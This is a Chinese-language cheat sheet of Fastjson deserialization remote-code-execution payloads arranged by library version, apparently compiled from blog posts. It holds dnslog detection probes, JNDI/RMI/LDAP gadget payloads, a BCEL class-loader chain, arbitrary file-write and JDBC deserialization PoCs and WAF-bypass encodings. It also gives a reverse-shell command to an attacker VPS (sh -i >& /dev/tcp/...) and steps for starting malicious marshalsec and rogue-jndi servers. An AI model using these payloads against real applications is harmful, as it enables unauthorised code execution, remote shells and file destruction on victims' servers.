Fastjson 全版本RCE
检测阶段
检测是否Fastjson
[{"a":"a\x] dos漏洞
{"a":"
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{{"@type":"java.net.URL","val":"http://%s"}:"x"}
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
精确检测版本 Copy by 浅蓝
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a
常规渗透
1.2.24
基于jndi
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true"}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
(限制条件:解析JSON的时候需要使用Feature)
{"@type":sss"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(限制条件:应用部署在Tomcat应用环境中 Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource )
{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}
{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}}:"ddd"
博主:bcel脚本我已经写好,放在github上:https://github.com/flamingo-gx/Fastjson-BCELCoder/
1.2.47
1.2.25 以后autotype默认开启,所以41-45的一些Poc这里也不再列出, 我们直接跳到1.2.48以下不需要开启autotype下的Poc,其实1.2.47之前的Poc都可以改成绕过autotype格式
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true}}
1.2.68
48以后68之前的Poc也需要目标开启autotype了,这里也跳过,直接看68的Poc,无须开启autype
fastjson-1.2.68 任意文件写入poc
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}
{"x":{"@type":"java.nio.charset.Charset","val":"500"}}
fastjson-1.2.68 jdbc反序列化poc
{"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}}
这里放上两个命令,省得你去搜了
java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#ExportObject 1099
python3 -m http.server 2333
不出网利用
参考:https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ by f1ashine
这里主要基本Poc使用1.2.24 无需出网Poc + 1.2.47嘚绕过autotype
首先获取恶意class
public class Calc{
static {
try{
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
} catch (Exception e) {
}
}
}
获取到class文件后,转化为BCEL格式(建议以上两步在低版本jdk下运行)
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Test{
public static void main(String[] args) throws IOException {
Path path = Paths.get("D:\\java\\java_tools\\Calc.class");
byte[] bytes = Files.readAllBytes(path);
System.out.println(bytes.length);
String result = Utility.encode(bytes,true);
BufferedWriter bw = new BufferedWriter(new FileWriter("D:\\java\\java_tools\\bb.txt"));
bw.write("$$BCEL$$" + result);
bw.close();
}
基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "###EVIL_CODE###"
}
}
高版本jdk JNDI注入
这里感谢清水老板第一次给我展示了下jep290 后fastjson仍旧打成功了,膜~
推荐两个github项目
https://github.com/veracode-research/rogue-jndi
清水老板:
1.填写好你的反弹命令
sh -i >& /dev/tcp/你的vpsip/端口 0>&1
2.runtime base64编码
访问http://www.jackson-t.ca/runtime-exec-payloads.html
把第一步的命令粘进去,自动编码,复制下来把bash的关键字都改为sh
3.使用RogueJndi-1.0开启ldap
java -jar RogueJndi-1.0.jar -n "0.0.0.0" -c "写入第二步的命令"
4.jndi地址为
ldap://vpsip:1389/o=tomcat
注:rogue-jndi 没法绕tomcat7
留个坑,这里原理一直没跟,下次一定
相关原理 https://paper.seebug.org/942/#ldapgadget
Fastjson WAF 绕过
unicode编码
{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://t00ls.5cd37009d59fc2c7fc55f2bee57cafab.dnslog.cn/aaa","autoCommit":true}}
XCTF-校战“疫”中的ctf题目的一个payload:\x74
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://111.231.17.208:3888"}
\b
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
/**/
{"@type":/**/"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}
转载来源(部分)
-
https://mp.weixin.qq.com/s/QGyb1Zv4F9IvmjKfiCD_4Q